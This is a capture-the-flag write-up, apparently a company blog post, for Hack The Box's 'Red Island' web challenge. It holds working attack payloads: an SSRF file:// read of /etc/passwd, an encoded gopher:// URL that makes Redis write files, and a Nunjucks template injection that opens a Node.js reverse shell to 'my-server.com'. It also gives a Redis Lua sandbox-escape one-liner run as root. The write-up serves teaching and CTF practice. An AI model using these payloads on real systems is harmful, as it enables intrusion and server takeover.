The Cyber Apocalypse CTF is back with the 2022 edition. It’s a Jeopardy-style competition organized by Hack The Box and is open to everyone.
Together as a security-focused guild (a concept taken from the Spotify model) we here at Würth Phoenix participated in this challenge and in particular I focused on the web challenges.
After completing the first and simpler white-box challenges, I tackled a back-box one called ‘Red Island’.
The starting point for this challenge is a web app login page from which any user can register and then log in.
After logging in, the real functionality appears: the application downloads any image that can be reached via a URL, converts its colors to red, and then displays it on the page.
What happens if I use the URL of a website that I have under my control? Is it possible to obtain information from the HTTP request that the backend executes? Let’s try!
The first thing noticeable if a URL is used that is not an image is that the content of the response is printed along with the error. Very interesting and potentially useful.
Let’s check the request that arrives on the website under our control:
From the user-agent we understand that the backend is written in Node.JS
and the node-libcurl
module is used to make the request. So we have a starting point, and now it’s time to read the documentation
A strong point of the module described in the documentation is the wide range of supported protocols including the file://
protocol.
What happens if we use the file:///etc/passwd
URL? It works and the passwd
content is shown on the page together with the error:
It’s also possible to download all application sources, which will probably be very useful later on.
What kind of information can we obtain from standard Linux files and the source code?
passwd
file:redis:x:101:101::/var/lib/redis:/usr/sbin/nologin
`Through the Redis serialization protocol (RESP) it’s possible to export the entire database to an arbitrary file in an arbitrary directory (SAVE).
So now the question is: is there a way to use this protocol to write arbitrary files? Once again the node-libcurl
module comes to our aid by supporting the 1990’s Gopher protocol.
This protocol can be used to forge a valid RESP request that’s parsable by Redis.
Let’s use this project as a reference (GitHub – tarunkant/Gopherus: This tool generates gopher links for exploiting SSRF and gaining RCE in various servers ) and try to craft a URL and execute a request with the following Redis commands:
config set rdbcompression no <-- disable the compression
flushall <-- remove all the entries from the DB
set 1 <arbitrary code>
config set dir <dest_dir> <-- set the destination dir
config set dbfilename <test> <-- set the file name
save <-- save
quit
The server response is:
"Unknown error occured while fetching the image file: +OK\r\n+OK\r\n+OK\r\n+OK\r\n+OK\r\n+OK\r\n+OK\r\n"
The resulting request is:
gopher://127.0.0.1:6379/_*4\n
$6\n
config\n
$3\n
set\n
$14\n
rdbcompression\n
$2\n
no\n
*1\n
$8\n
flushall\n
*3\n
$3\n
set\n
$1\n
1\n
$27\n
\n
\n
===ARBITRARY_CONTENT===\n
\n
\n
*4\n
$6\n
config\n
$3\n
set\n
$3\n
dir\n
$11\n
/app/views/\n
*4\n
$6\n
config\n
$3\n
set\n
$10\n
dbfilename\n
$4\n
test\n
*1\n
$4\n
save\n
*1\n
$4\n
quit\n
The encoded URL is:
gopher://127.0.0.1:6379/_%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2414%0D%0Ardbcompression%0D%0A%242%0D%0Ano%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2427%0D%0A%0A%0A%3D%3D%3DARBITRARY_CONTENT%3D%3D%3D%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A/app/views/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2410%0D%0Alogin.html%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A%0A
And if we read back the file with the file://
protocol we get:
Unknown error occured while fetching the image file: REDIS0009� redis-ver5.0.7� redis-bits�@�ctime�:��b�used-mem�H � aof-preamble���� ===ARBITRARY_CONTENT=== �J�S�<��
Since Redis is running as root, which can be seen in the supervisor, we can write any file.
How can arbitrary code written in a file (with other characters before and after) be used to obtain server control?
Since Nunjucks is a templating library in Javascript, my idea was to write some node code in the /app/views/login.html
file to try to achieve arbitrary code execution.
It was easy to find the following issue on GitHub showing how to execute any code in Nunjucks: Add warning against running untrusted templates · Issue #17 · mozilla/nunjucks-docs
Can you also hear the little evil voice whispering into your ear “it’s time for a reverse shell”? So let’s craft a gopher request with the following code:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
And now trigger the code by refreshing the login page… hmmm, but nothing happens, why not?
Reading the Nunjucks documentation, it turns out that by default templates are cached during the first request and not re-loaded on subsequent requests. So how can we force a reload? Well, do you remember the supervisor? We have to trigger a crash so that the supervisor restarts the application and the template is then recompiled.
It’s finally time to read the code and find an unhandled exception.
In the module that loads the image, you can see how the image is assigned to the buffer
variable, which is, however, global as it is not preceded by var
or let
.
Each request uses the same global variable, so what happens if two requests are executed at the same time? An unhandled exception is triggered, the node crashes, and supervisord starts a new instance. When the login page is later visited, the injected code is executed and the reverse shell is started. And now it works!
whoami
www-data
We are now the www-data
user and are ever closer to being in complete control of the server.
The purpose of the challenge is to obtain the flag present in a file. Unfortunately with this user, we are unable to find it because it’s probably in the /root
folder where we don’t have permissions. So the next and last step is to become root
.
One feature of Redis is the ability to execute Lua code.
The Lua engine should be sandboxed so that Redis clients can only interact with the Redis APIs, and clients shouldn’t be able to execute arbitrary code on the Redis running machine.
Recently, however, this vulnerability was discovered that allows Debian/Ubuntu systems to escape the sandbox and execute arbitrary code.
With the redis-cli
and the following lines we can test it:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
And magically we are able to execute arbitrary code as root
and read the flag with the following command:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /root/flag", "r"); local res = f:read("*a"); f:close(); return res' 0
And finally, the flag is
HTB{r3d_righ7_h4nd_t0_th3_r3dis_land!}
Once again, it’s evident how a chain of vulnerabilities, including not following best practices such as not removing all HTTP headers containing server information, as well as using the wrong user to run applications, can lead the attacker to take complete control of the target.
Did you learn from this article? Perhaps you’re already familiar with some of the techniques above? If you find security issues interesting, maybe you could start in a roles like this as well as other roles here at Würth Phoenix.